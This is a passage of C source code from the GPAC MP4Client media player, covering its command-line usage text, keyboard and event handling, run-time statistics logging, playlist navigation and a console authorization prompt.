<dlfcn.h> #include <pwd.h> #include <unistd.h> #if defined(__DARWIN__) || defined(__APPLE__) #include <sys/types.h> #include <sys/stat.h> void carbon_init(); void carbon_uninit(); #endif #else #include <windows.h> /*for GetModuleFileName*/ #endif //WIN32 /*local prototypes*/ void PrintWorldInfo(GF_Terminal *term); void ViewOD(GF_Terminal *term, u32 OD_ID, u32 number, const char *URL); void PrintODList(GF_Terminal *term, GF_ObjectManager *root_odm, u32 num, u32 indent, char *root_name); void ViewODs(GF_Terminal *term, Bool show_timing); void PrintGPACConfig(); static u32 gui_mode = 0; static Bool restart = GF_FALSE; static Bool reload = GF_FALSE; Bool no_prog = 0; #if defined(__DARWIN__) || defined(__APPLE__) //we keep no decoder thread because of JS_GC deadlocks between threads ... static u32 threading_flags = GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_NO_DECODER_THREAD; #define VK_MOD GF_KEY_MOD_ALT #else static u32 threading_flags = 0; #define VK_MOD GF_KEY_MOD_CTRL #endif static Bool no_audio = GF_FALSE; static Bool term_step = GF_FALSE; static Bool no_regulation = GF_FALSE; static u32 bench_mode = 0; static u32 bench_mode_start = 0; static u32 bench_buffer = 0; static Bool eos_seen = GF_FALSE; static Bool addon_visible = GF_TRUE; Bool is_connected = GF_FALSE; Bool startup_file = GF_FALSE; GF_User user; GF_Terminal *term; u64 Duration; GF_Err last_error = GF_OK; static Bool enable_add_ons = GF_TRUE; static Fixed playback_speed = FIX_ONE; static s32 request_next_playlist_item = GF_FALSE; FILE *playlist = NULL; static Bool readonly_playlist = GF_FALSE; static GF_Config *cfg_file; static u32 display_rti = 0; static Bool Run; static Bool CanSeek = GF_FALSE; static char the_url[GF_MAX_PATH]; static char pl_path[GF_MAX_PATH]; static Bool no_mime_check = GF_TRUE; static Bool be_quiet = GF_FALSE; static u64 log_time_start = 0; static Bool log_utc_time = GF_FALSE; static Bool loop_at_end = GF_FALSE; static u32 forced_width=0; static u32 forced_height=0; /*windowless options*/ u32 align_mode = 0; u32 init_w = 0; u32 init_h = 0; u32 last_x, last_y; Bool right_down = GF_FALSE; void dump_frame(GF_Terminal *term, char *rad_path, u32 dump_type, u32 frameNum); enum { DUMP_NONE = 0, DUMP_AVI = 1, DUMP_BMP = 2, DUMP_PNG = 3, DUMP_RAW = 4, DUMP_SHA1 = 5, //DuMP flags DUMP_DEPTH_ONLY = 1<<16, DUMP_RGB_DEPTH = 1<<17, DUMP_RGB_DEPTH_SHAPE = 1<<18 }; Bool dump_file(char *the_url, char *out_url, u32 dump_mode, Double fps, u32 width, u32 height, Float scale, u32 *times, u32 nb_times); static Bool shell_visible = GF_TRUE; void hide_shell(u32 cmd_type) { #if defined(WIN32) && !defined(_WIN32_WCE) typedef HWND (WINAPI *GetConsoleWindowT)(void); HMODULE hk32 = GetModuleHandle("kernel32.dll"); GetConsoleWindowT GetConsoleWindow = (GetConsoleWindowT ) GetProcAddress(hk32,"GetConsoleWindow"); if (cmd_type==0) { ShowWindow( GetConsoleWindow(), SW_SHOW); shell_visible = GF_TRUE; } else if (cmd_type==1) { ShowWindow( GetConsoleWindow(), SW_HIDE); shell_visible = GF_FALSE; } else if (cmd_type==2) PostMessage(GetConsoleWindow(), WM_CLOSE, 0, 0); #endif } void send_open_url(const char *url) { GF_Event evt; memset(&evt, 0, sizeof(GF_Event)); evt.type = GF_EVENT_NAVIGATE; evt.navigate.to_url = url; gf_term_send_event(term, &evt); } void PrintUsage() { fprintf(stderr, "Usage MP4Client [options] [filename]\n" "\t-c fileName: user-defined configuration file. Also works with -cfg\n" #ifdef GPAC_MEMORY_TRACKING "\t-mem-track: enables memory tracker\n" "\t-mem-track-stack: enables memory tracker with stack dumping\n" #endif "\t-rti fileName: logs run-time info (FPS, CPU, Mem usage) to file\n" "\t-rtix fileName: same as -rti but driven by GPAC logs\n" "\t-quiet: removes script message, buffering and downloading status\n" "\t-strict-error: exit when the player reports its first error\n" "\t-opt option: Overrides an option in the configuration file. String format is section:key=value. \n" "\t \"section:key=null\" removes the key\n" "\t \"section:*=null\" removes the section\n" "\t-conf option: Same as -opt but does not start player.\n" "\t-log-file file: sets output log file. Also works with -lf\n" "\t-logs log_args: sets log tools and levels, formatted as a ':'-separated list of toolX[:toolZ]@levelX\n" "\t levelX can be one of:\n" "\t \"quiet\" : skip logs\n" "\t \"error\" : logs only error messages\n" "\t \"warning\" : logs error+warning messages\n" "\t \"info\" : logs error+warning+info messages\n" "\t \"debug\" : logs all messages\n" "\t toolX can be one of:\n" "\t \"core\" : libgpac core\n" "\t \"coding\" : bitstream formats (audio, video, scene)\n" "\t \"container\" : container formats (ISO File, MPEG-2 TS, AVI, ...)\n" "\t \"network\" : network data exept RTP trafic\n" "\t \"rtp\" : rtp trafic\n" "\t \"author\" : authoring tools (hint, import, export)\n" "\t \"sync\" : terminal sync layer\n" "\t \"codec\" : terminal codec messages\n" "\t \"parser\" : scene parsers (svg, xmt, bt) and other\n" "\t \"media\" : terminal media object management\n" "\t \"scene\" : scene graph and scene manager\n" "\t \"script\" : scripting engine messages\n" "\t \"interact\" : interaction engine (events, scripts, etc)\n" "\t \"smil\" : SMIL timing engine\n" "\t \"compose\" : composition engine (2D, 3D, etc)\n" "\t \"mmio\" : Audio/Video HW I/O management\n" "\t \"rti\" : various run-time stats\n" "\t \"cache\" : HTTP cache subsystem\n" "\t \"audio\" : Audio renderer and mixers\n" #ifdef GPAC_MEMORY_TRACKING "\t \"mem\" : GPAC memory tracker\n" #endif #ifndef GPAC_DISABLE_DASH_CLIENT "\t \"dash\" : HTTP streaming logs\n" #endif "\t \"module\" : GPAC modules debugging\n" "\t \"mutex\" : mutex\n" "\t \"all\" : all tools logged - other tools can be specified afterwards.\n" "\tThe special value \"ncl\" disables color logs.\n" "\n" "\t-log-clock or -lc : logs time in micro sec since start time of GPAC before each log line.\n" "\t-log-utc or -lu : logs UTC time in ms before each log line.\n" "\t-ifce IPIFCE : Sets default Multicast interface\n" "\t-size WxH: specifies visual size (default: scene size)\n" #if defined(__DARWIN__) || defined(__APPLE__) "\t-thread: enables thread usage for terminal and compositor \n" #else "\t-no-thread: disables thread usage (except for audio)\n" #endif "\t-no-cthread: disables compositor thread (iOS and Android mode)\n" "\t-no-audio: disables audio \n" "\t-no-wnd: uses windowless mode (Win32 only)\n" "\t-no-back: uses transparent background for output window when no background is specified (Win32 only)\n" "\t-align vh: specifies v and h alignment for windowless mode\n" "\t possible v values: t(op), m(iddle), b(ottom)\n" "\t possible h values: l(eft), m(iddle), r(ight)\n" "\t default alignment is top-left\n" "\t default alignment is top-left\n" "\t-pause: pauses at first frame\n" "\t-play-from T: starts from T seconds in media\n" "\t-speed S: starts with speed S\n" "\t-loop: loops presentation\n" "\t-no-regulation: disables framerate regulation\n" "\t-bench: disable a/v output and bench source decoding (as fast as possible)\n" "\t-vbench: disable audio output, video sync bench source decoding/display (as fast as possible)\n" "\t-sbench: disable all decoders and bench systems layer (as fast as possible)\n" "\t-fs: starts in fullscreen mode\n" "\t-views v1:.:vN: creates an auto-stereo scene of N views. vN can be any type of URL supported by GPAC.\n" "\t in this mode, URL argument of GPAC is ignored, GUI as well.\n" "\t this is equivalent as using views://v1:.:N as an URL.\n" "\t-mosaic v1:.:vN: creates a mosaic of N views. vN can be any type of URL supported by GPAC.\n" "\t in this mode, URL argument of GPAC is ignored.\n" "\t this is equivalent as using mosaic://v1:.:N as an URL.\n" "\n" "\t-exit: automatically exits when presentation is over\n" "\t-run-for TIME: runs for TIME seconds and exits\n" "\t-service ID: auto-tune to given service ID in a multiplex\n" "\t-noprog: disable progress report\n" "\t-no-save: disable saving config file on exit\n" "\t-no-addon: disable automatic loading of media addons declared in source URL\n" "\t-gui: starts in GUI mode. The GUI is indicated in GPAC config, section General, by the key [StartupFile]\n" "\t-ntp-shift T: shifts NTP clock of T (signed int) milliseconds\n" "\n" "Dumper Options (times is a formated as start-end, with start being sec, h:m:s:f/fps or h:m:s:ms):\n" "\t-bmp [times]: dumps given frames to bmp\n" "\t-png [times]: dumps given frames to png\n" "\t-raw [times]: dumps given frames to raw\n" "\t-avi [times]: dumps given file to raw avi\n" "\t-sha [times]: dumps given file to raw SHA-1 (1 hash per frame)\n" "\r-out filename: name of the output file\n" "\t-rgbds: dumps the RGBDS pixel format texture\n" "\t with -avi [times]: dumps an rgbds-format .avi\n" "\t-rgbd: dumps the RGBD pixel format texture\n" "\t with -avi [times]: dumps an rgbd-format .avi\n" "\t-depth: dumps depthmap (z-buffer) frames\n" "\t with -avi [times]: dumps depthmap in grayscale .avi\n" "\t with -bmp: dumps depthmap in grayscale .bmp\n" "\t with -png: dumps depthmap in grayscale .png\n" "\t-fps FPS: specifies frame rate for AVI dumping (default: %f)\n" "\t-scale s: scales the visual size (default: 1)\n" "\t-fill: uses fill aspect ratio for dumping (default: none)\n" "\t-show: shows window while dumping (default: no)\n" "\n" "\t-uncache: Revert all cached items to their original name and location. Does not start player.\n" "\n" "\t-help: shows this screen\n" "\n" "MP4Client - GPAC command line player and dumper - version "GPAC_FULL_VERSION"\n" "(c) Telecom ParisTech 2000-2018 - Licence LGPL v2\n" "GPAC Configuration: " GPAC_CONFIGURATION "\n" "Features: %s\n", GF_IMPORT_DEFAULT_FPS, gpac_features() ); } void PrintHelp() { fprintf(stderr, "MP4Client command keys:\n" "\tq: quit\n" "\tX: kill\n" "\to: connect to the specified URL\n" "\tO: connect to the specified playlist\n" "\tN: switch to the next URL in the playlist. Also works with \\n\n" "\tP: jumps to a given number ahead in the playlist\n" "\tr: reload current presentation\n" "\tD: disconnects the current presentation\n" "\tG: selects object or service ID\n" "\n" "\tp: play/pause the presentation\n" "\ts: step one frame ahead\n" "\tz: seek into presentation by percentage\n" "\tT: seek into presentation by time\n" "\tt: print current timing\n" "\n" "\tu: sends a command (BIFS or LASeR) to the main scene\n" "\te: evaluates JavaScript code\n" "\tZ: dumps output video to PNG\n" "\n" "\tw: view world info\n" "\tv: view Object Descriptor list\n" "\ti: view Object Descriptor info (by ID)\n" "\tj: view Object Descriptor info (by number)\n" "\tb: view media objects timing and buffering info\n" "\tm: view media objects buffering and memory info\n" "\td: dumps scene graph\n" "\n" "\tk: turns stress mode on/off\n" "\tn: changes navigation mode\n" "\tx: reset to last active viewpoint\n" "\n" "\t3: switch OpenGL on or off for 2D scenes\n" "\n" "\t4: forces 4/3 Aspect Ratio\n" "\t5: forces 16/9 Aspect Ratio\n" "\t6: forces no Aspect Ratio (always fill screen)\n" "\t7: forces original Aspect Ratio (default)\n" "\n" "\tL: changes to new log level. CF MP4Client usage for possible values\n" "\tT: select new tools to log. CF MP4Client usage for possible values\n" "\n" "\tl: list available modules\n" "\tc: prints some GPAC configuration info\n" "\tE: forces reload of GPAC configuration\n" "\n" "\tR: toggles run-time info display in window title bar on/off\n" "\tF: toggle displaying of FPS in stderr on/off\n" "\tg: print GPAC allocated memory\n" "\th: print this message\n" "\n" "\tEXPERIMENTAL/UNSTABLE OPTIONS\n" "\tC: Enable Streaming Cache\n" "\tS: Stops Streaming Cache and save to file\n" "\tA: Aborts Streaming Cache\n" "\tM: specifies video cache memory for 2D objects\n" "\n" "MP4Client - GPAC command line player - version %s\n" "GPAC Written by Jean Le Feuvre (c) 2001-2005 - ENST (c) 2005-200X\n", GPAC_FULL_VERSION ); } static void PrintTime(u64 time) { u32 ms, h, m, s; h = (u32) (time / 1000 / 3600); m = (u32) (time / 1000 / 60 - h*60); s = (u32) (time / 1000 - h*3600 - m*60); ms = (u32) (time - (h*3600 + m*60 + s) * 1000); fprintf(stderr, "%02d:%02d:%02d.%03d", h, m, s, ms); } void PrintAVInfo(Bool final); static u32 rti_update_time_ms = 200; static FILE *rti_logs = NULL; static void UpdateRTInfo(const char *legend) { GF_SystemRTInfo rti; /*refresh every second*/ if (!display_rti && !rti_logs) return; if (!gf_sys_get_rti(rti_update_time_ms, &rti, 0) && !legend) return; if (display_rti) { char szMsg[1024]; if (rti.total_cpu_usage && (bench_mode<2) ) { sprintf(szMsg, "FPS %02.02f CPU %2d (%02d) Mem %d kB", gf_term_get_framerate(term, 0), rti.total_cpu_usage, rti.process_cpu_usage, (u32) (rti.gpac_memory / 1024)); } else { sprintf(szMsg, "FPS %02.02f CPU %02d Mem %d kB", gf_term_get_framerate(term, 0), rti.process_cpu_usage, (u32) (rti.gpac_memory / 1024) ); } if (display_rti==2) { if (bench_mode>=2) { PrintAVInfo(GF_FALSE); } fprintf(stderr, "%s\r", szMsg); } else { GF_Event evt; evt.type = GF_EVENT_SET_CAPTION; evt.caption.caption = szMsg; gf_term_user_event(term, &evt); } } if (rti_logs) { fprintf(rti_logs, "% 8d\t% 8d\t% 8d\t% 4d\t% 8d\t%s", gf_sys_clock(), gf_term_get_time_in_ms(term), rti.total_cpu_usage, (u32) gf_term_get_framerate(term, 0), (u32) (rti.gpac_memory / 1024), legend ? legend : "" ); if (!legend) fprintf(rti_logs, "\n"); } } static void ResetCaption() { GF_Event event; if (display_rti) return; event.type = GF_EVENT_SET_CAPTION; if (is_connected) { char szName[1024]; NetInfoCommand com; event.caption.caption = NULL; /*get any service info*/ if (!startup_file && gf_term_get_service_info(term, gf_term_get_root_object(term), &com) == GF_OK) { strcpy(szName, ""); if (com.track_info) { char szBuf[10]; sprintf(szBuf, "%02d ", (u32) (com.track_info>>16) ); strcat(szName, szBuf); } if (com.artist) { strcat(szName, com.artist); strcat(szName, " "); } if (com.name) { strcat(szName, com.name); strcat(szName, " "); } if (com.album) { strcat(szName, "("); strcat(szName, com.album); strcat(szName, ")"); } if (com.provider) { strcat(szName, "("); strcat(szName, com.provider); strcat(szName, ")"); } if (strlen(szName)) event.caption.caption = szName; } if (!event.caption.caption) { char *str = strrchr(the_url, '\\'); if (!str) str = strrchr(the_url, '/'); event.caption.caption = str ? str+1 : the_url; } } else { event.caption.caption = "GPAC MP4Client " GPAC_FULL_VERSION; } gf_term_user_event(term, &event); } #ifdef WIN32 u32 get_sys_col(int idx) { u32 res; DWORD val = GetSysColor(idx); res = (val)&0xFF; res<<=8; res |= (val>>8)&0xFF; res<<=8; res |= (val>>16)&0xFF; return res; } #endif void switch_bench(u32 is_on) { bench_mode = is_on; display_rti = is_on ? 2 : 0; ResetCaption(); gf_term_set_option(term, GF_OPT_VIDEO_BENCH, is_on); } #ifndef WIN32 #include <termios.h> int getch() { struct termios old; struct termios new; int rc; if (tcgetattr(0, &old) == -1) { return -1; } new = old; new.c_lflag &= ~(ICANON | ECHO); new.c_cc[VMIN] = 1; new.c_cc[VTIME] = 0; if (tcsetattr(0, TCSANOW, &new) == -1) { return -1; } rc = getchar(); (void) tcsetattr(0, TCSANOW, &old); return rc; } #else int getch() { return getchar(); } #endif /** * Reads a line of input from stdin * @param line the buffer to fill * @param maxSize the maximum size of the line to read * @param showContent boolean indicating if the line read should be printed on stderr or not */ static const char * read_line_input(char * line, int maxSize, Bool showContent) { char read; int i = 0; if (fflush( stderr )) perror("Failed to flush buffer %s"); do { line[i] = '\0'; if (i >= maxSize - 1) return line; read = getch(); if (read == 8 || read == 127) { if (i > 0) { fprintf(stderr, "\b \b"); i--; } } else if (read > 32) { fputc(showContent ? read : '*', stderr); line[i++] = read; } fflush(stderr); } while (read != '\n'); if (!read) return 0; return line; } static void do_set_speed(Fixed desired_speed) { if (gf_term_set_speed(term, desired_speed) == GF_OK) { playback_speed = desired_speed; fprintf(stderr, "Playing at %g speed\n", FIX2FLT(playback_speed)); } else { fprintf(stderr, "Adjusting speed to %g not supported for this content\n", FIX2FLT(desired_speed)); } } Bool GPAC_EventProc(void *ptr, GF_Event *evt) { if (!term) return 0; if (gui_mode==1) { if (evt->type==GF_EVENT_QUIT) { Run = 0; } else if (evt->type==GF_EVENT_KEYDOWN) { switch (evt->key.key_code) { case GF_KEY_C: if (evt->key.flags & (GF_KEY_MOD_CTRL|GF_KEY_MOD_ALT)) { hide_shell(shell_visible ? 1 : 0); if (shell_visible) gui_mode=2; } break; default: break; } } return 0; } switch (evt->type) { case GF_EVENT_DURATION: Duration = (u64) ( 1000 * (s64) evt->duration.duration); CanSeek = evt->duration.can_seek; break; case GF_EVENT_MESSAGE: { const char *servName; if (!evt->message.service || !strcmp(evt->message.service, the_url)) { servName = ""; } else if (!strnicmp(evt->message.service, "data:", 5)) { servName = "(embedded data)"; } else { servName = evt->message.service; } if (!evt->message.message) return 0; if (evt->message.error) { if (!is_connected) last_error = evt->message.error; if (evt->message.error==GF_SCRIPT_INFO) { GF_LOG(GF_LOG_INFO, GF_LOG_CONSOLE, ("%s\n", evt->message.message)); } else { GF_LOG(GF_LOG_ERROR, GF_LOG_CONSOLE, ("%s %s: %s\n", servName, evt->message.message, gf_error_to_string(evt->message.error))); } } else if (!be_quiet) GF_LOG(GF_LOG_INFO, GF_LOG_CONSOLE, ("%s %s\n", servName, evt->message.message)); } break; case GF_EVENT_PROGRESS: { char *szTitle = ""; if (evt->progress.progress_type==0) { szTitle = "Buffer "; if (bench_mode && (bench_mode!=3) ) { if (evt->progress.done >= evt->progress.total) bench_buffer = 0; else bench_buffer = 1 + 100*evt->progress.done / evt->progress.total; break; } } else if (evt->progress.progress_type==1) { if (bench_mode) break; szTitle = "Download "; } else if (evt->progress.progress_type==2) szTitle = "Import "; gf_set_progress(szTitle, evt->progress.done, evt->progress.total); } break; case GF_EVENT_DBLCLICK: gf_term_set_option(term, GF_OPT_FULLSCREEN, !gf_term_get_option(term, GF_OPT_FULLSCREEN)); return 0; case GF_EVENT_MOUSEDOWN: if (evt->mouse.button==GF_MOUSE_RIGHT) { right_down = 1; last_x = evt->mouse.x; last_y = evt->mouse.y; } return 0; case GF_EVENT_MOUSEUP: if (evt->mouse.button==GF_MOUSE_RIGHT) { right_down = 0; last_x = evt->mouse.x; last_y = evt->mouse.y; } return 0; case GF_EVENT_MOUSEMOVE: if (right_down && (user.init_flags & GF_TERM_WINDOWLESS) ) { GF_Event move; move.move.x = evt->mouse.x - last_x; move.move.y = last_y-evt->mouse.y; move.type = GF_EVENT_MOVE; move.move.relative = 1; gf_term_user_event(term, &move); } return 0; case GF_EVENT_KEYUP: switch (evt->key.key_code) { case GF_KEY_SPACE: if (evt->key.flags & GF_KEY_MOD_CTRL) switch_bench(!bench_mode); break; } break; case GF_EVENT_KEYDOWN: gf_term_process_shortcut(term, evt); switch (evt->key.key_code) { case GF_KEY_SPACE: if (evt->key.flags & GF_KEY_MOD_CTRL) { /*ignore key repeat*/ if (!bench_mode) switch_bench(!bench_mode); } break; case GF_KEY_PAGEDOWN: case GF_KEY_MEDIANEXTTRACK: request_next_playlist_item = 1; break; case GF_KEY_MEDIAPREVIOUSTRACK: break; case GF_KEY_ESCAPE: gf_term_set_option(term, GF_OPT_FULLSCREEN, !gf_term_get_option(term, GF_OPT_FULLSCREEN)); break; case GF_KEY_C: if (evt->key.flags & (GF_KEY_MOD_CTRL|GF_KEY_MOD_ALT)) { hide_shell(shell_visible ? 1 : 0); if (!shell_visible) gui_mode=1; } break; case GF_KEY_F: if (evt->key.flags & GF_KEY_MOD_CTRL) fprintf(stderr, "Rendering rate: %f FPS\n", gf_term_get_framerate(term, 0)); break; case GF_KEY_T: if (evt->key.flags & GF_KEY_MOD_CTRL) fprintf(stderr, "Scene Time: %f \n", gf_term_get_time_in_ms(term)/1000.0); break; case GF_KEY_D: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_DRAW_MODE, (gf_term_get_option(term, GF_OPT_DRAW_MODE)==GF_DRAW_MODE_DEFER) ? GF_DRAW_MODE_IMMEDIATE : GF_DRAW_MODE_DEFER ); break; case GF_KEY_4: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_4_3); break; case GF_KEY_5: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_16_9); break; case GF_KEY_6: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); break; case GF_KEY_7: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_KEEP); break; case GF_KEY_O: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { if (gf_term_get_option(term, GF_OPT_MAIN_ADDON)) { fprintf(stderr, "Resuming to main content\n"); gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_PLAY_LIVE); } else { fprintf(stderr, "Main addon not enabled\n"); } } break; case GF_KEY_P: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { u32 pause_state = gf_term_get_option(term, GF_OPT_PLAY_STATE) ; fprintf(stderr, "[Status: %s]\n", pause_state ? "Playing" : "Paused"); if ((pause_state == GF_STATE_PAUSED) && (evt->key.flags & GF_KEY_MOD_SHIFT)) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_PLAY_LIVE); } else { gf_term_set_option(term, GF_OPT_PLAY_STATE, (pause_state==GF_STATE_PAUSED) ? GF_STATE_PLAYING : GF_STATE_PAUSED); } } break; case GF_KEY_S: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_STEP_PAUSE); fprintf(stderr, "Step time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, "\n"); } break; case GF_KEY_B: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) ViewODs(term, 1); break; case GF_KEY_M: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) ViewODs(term, 0); break; case GF_KEY_H: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_switch_quality(term, 1); // gf_term_set_option(term, GF_OPT_MULTIVIEW_MODE, 0); } break; case GF_KEY_L: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_switch_quality(term, 0); // gf_term_set_option(term, GF_OPT_MULTIVIEW_MODE, 1); } break; case GF_KEY_F5: if (is_connected) reload = 1; break; case GF_KEY_A: addon_visible = !addon_visible; gf_term_toggle_addons(term, addon_visible); break; case GF_KEY_UP: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(playback_speed * 2); } break; case GF_KEY_DOWN: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(playback_speed / 2); } break; case GF_KEY_LEFT: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(-1 * playback_speed ); } break; } break; case GF_EVENT_CONNECT: if (evt->connect.is_connected) { is_connected = 1; fprintf(stderr, "Service Connected\n"); eos_seen = GF_FALSE; if (playback_speed != FIX_ONE) gf_term_set_speed(term, playback_speed); } else if (is_connected) { fprintf(stderr, "Service %s\n", is_connected ? "Disconnected" : "Connection Failed"); is_connected = 0; Duration = 0; } if (init_w && init_h) { gf_term_set_size(term, init_w, init_h); } ResetCaption(); break; case GF_EVENT_EOS: eos_seen = GF_TRUE; if (playlist) { if (Duration>1500) request_next_playlist_item = GF_TRUE; } else if (loop_at_end) { restart = 1; } break; case GF_EVENT_SIZE: if (user.init_flags & GF_TERM_WINDOWLESS) { GF_Event move; move.type = GF_EVENT_MOVE; move.move.align_x = align_mode & 0xFF; move.move.align_y = (align_mode>>8) & 0xFF; move.move.relative = 2; gf_term_user_event(term, &move); } break; case GF_EVENT_SCENE_SIZE: if (forced_width && forced_height) { GF_Event size; size.type = GF_EVENT_SIZE; size.size.width = forced_width; size.size.height = forced_height; gf_term_user_event(term, &size); } break; case GF_EVENT_METADATA: ResetCaption(); break; case GF_EVENT_RELOAD: if (is_connected) reload = 1; break; case GF_EVENT_DROPFILE: { u32 i, pos; /*todo - force playlist mode*/ if (readonly_playlist) { gf_fclose(playlist); playlist = NULL; } readonly_playlist = 0; if (!playlist) { readonly_playlist = 0; playlist = gf_temp_file_new(NULL); } pos = ftell(playlist); i=0; while (i<evt->open_file.nb_files) { if (evt->open_file.files[i] != NULL) { fprintf(playlist, "%s\n", evt->open_file.files[i]); } i++; } fseek(playlist, pos, SEEK_SET); request_next_playlist_item = 1; } return 1; case GF_EVENT_QUIT: if (evt->message.error) { fprintf(stderr, "A fatal error was encoutered: %s (%s) - exiting ...\n", evt->message.message ? evt->message.message : "no details", gf_error_to_string(evt->message.error) ); } Run = 0; break; case GF_EVENT_DISCONNECT: gf_term_disconnect(term); break; case GF_EVENT_MIGRATE: { } break; case GF_EVENT_NAVIGATE_INFO: if (evt->navigate.to_url) fprintf(stderr, "Go to URL: \"%s\"\r", evt->navigate.to_url); break; case GF_EVENT_NAVIGATE: if (gf_term_is_supported_url(term, evt->navigate.to_url, 1, no_mime_check)) { strncpy(the_url, evt->navigate.to_url, sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; fprintf(stderr, "Navigating to URL %s\n", the_url); gf_term_navigate_to(term, evt->navigate.to_url); return 1; } else { fprintf(stderr, "Navigation destination not supported\nGo to URL: %s\n", evt->navigate.to_url); } break; case GF_EVENT_SET_CAPTION: gf_term_user_event(term, evt); break; case GF_EVENT_AUTHORIZATION: { int maxTries = 1; assert( evt->type == GF_EVENT_AUTHORIZATION); assert( evt->auth.user); assert( evt->auth.password); assert( evt->auth.site_url); while ((!strlen(evt->auth.user) || !strlen(evt->auth.password)) && (maxTries--) >= 0) { fprintf(stderr, "**** Authorization required for site %s ****\n", evt->auth.site_url); fprintf(stderr, "login : "); read_line_input(evt->auth.user, 50, 1); fprintf(stderr, "\npassword: "); read_line_input(evt->auth.password, 50, 0); fprintf(stderr, "*********\n"); } if (maxTries < 0) { fprintf(stderr, "**** No User or password has been filled, aborting ***\n"); return 0; } return 1; } case GF_EVENT_ADDON_DETECTED: if (enable_add_ons) { fprintf(stderr, "Media Addon %s detected - enabling it\n", evt->addon_connect.addon_url); addon_visible = 1; } return enable_add_ons; } return 0; } void list_modules(GF_ModuleManager *modules) { u32 i; fprintf(stderr, "\rAvailable modules:\n"); for (i=0; i<gf_modules_get_count(modules); i++) { char *str = (char *) gf_modules_get_file_name(modules, i); if (str) fprintf(stderr, "\t%s\n", str); } fprintf(stderr, "\n"); } void set_navigation() { GF_Err e; char nav; u32 type = gf_term_get_option(term, GF_OPT_NAVIGATION_TYPE); e = GF_OK; fflush(stdin); if (!type) { fprintf(stderr, "Content/compositor doesn't allow user-selectable navigation\n"); } else if (type==1) { fprintf(stderr, "Select Navigation (\'N\'one, \'E\'xamine, \'S\'lide): "); nav = getch(); if (nav=='N') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_NONE); else if (nav=='E') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_EXAMINE); else if (nav=='S') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_SLIDE); else fprintf(stderr, "Unknown selector \'%c\' - only \'N\',\'E\',\'S\' allowed\n", nav); } else if (type==2) { fprintf(stderr, "Select Navigation (\'N\'one, \'W\'alk, \'F\'ly, \'E\'xamine, \'P\'an, \'S\'lide, \'G\'ame, \'V\'R, \'O\'rbit): "); nav = getch(); if (nav=='N') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_NONE); else if (nav=='W') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_WALK); else if (nav=='F') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_FLY); else if (nav=='E') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_EXAMINE); else if (nav=='P') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_PAN); else if (nav=='S') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_SLIDE); else if (nav=='G') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_GAME); else if (nav=='O') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_ORBIT); else if (nav=='V') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_VR); else fprintf(stderr, "Unknown selector %c - only \'N\',\'W\',\'F\',\'E\',\'P\',\'S\',\'G\', \'V\', \'O\' allowed\n", nav); } if (e) fprintf(stderr, "Error setting mode: %s\n", gf_error_to_string(e)); } static Bool get_time_list(char *arg, u32 *times, u32 *nb_times) { char *str; Float var; Double sec; u32 h, m, s, ms, f, fps; if (!arg || (arg[0]=='-') || !isdigit(arg[0])) return 0; /*SMPTE time code*/ if (strchr(arg, ':') && strchr(arg, ';') && strchr(arg, '/')) { if (sscanf(arg, "%02ud:%02ud:%02ud;%02ud/%02ud", &h, &m, &s, &f, &fps)==5) { sec = 0; if (fps) sec = ((Double)f) / fps; sec += 3600*h + 60*m + s; times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; return 1; } } while (arg) { str = strchr(arg, '-'); if (str) str[0] = 0; /*HH:MM:SS:MS time code*/ if (strchr(arg, ':') && (sscanf(arg, "%u:%u:%u:%u", &h, &m, &s, &ms)==4)) { sec = ms; sec /= 1000; sec += 3600*h + 60*m + s; times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; } else if (sscanf(arg, "%f", &var)==1) { sec = atof(arg); times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; } if (!str) break; str[0] = '-'; arg = str+1; } return 1; } static u64 last_log_time=0; static void on_gpac_log(void *cbk, GF_LOG_Level ll, GF_LOG_Tool lm, const char *fmt, va_list list) { FILE *logs = cbk ? cbk : stderr; if (rti_logs && (lm & GF_LOG_RTI)) { char szMsg[2048]; vsprintf(szMsg, fmt, list); UpdateRTInfo(szMsg + 6 /*"[RTI] "*/); } 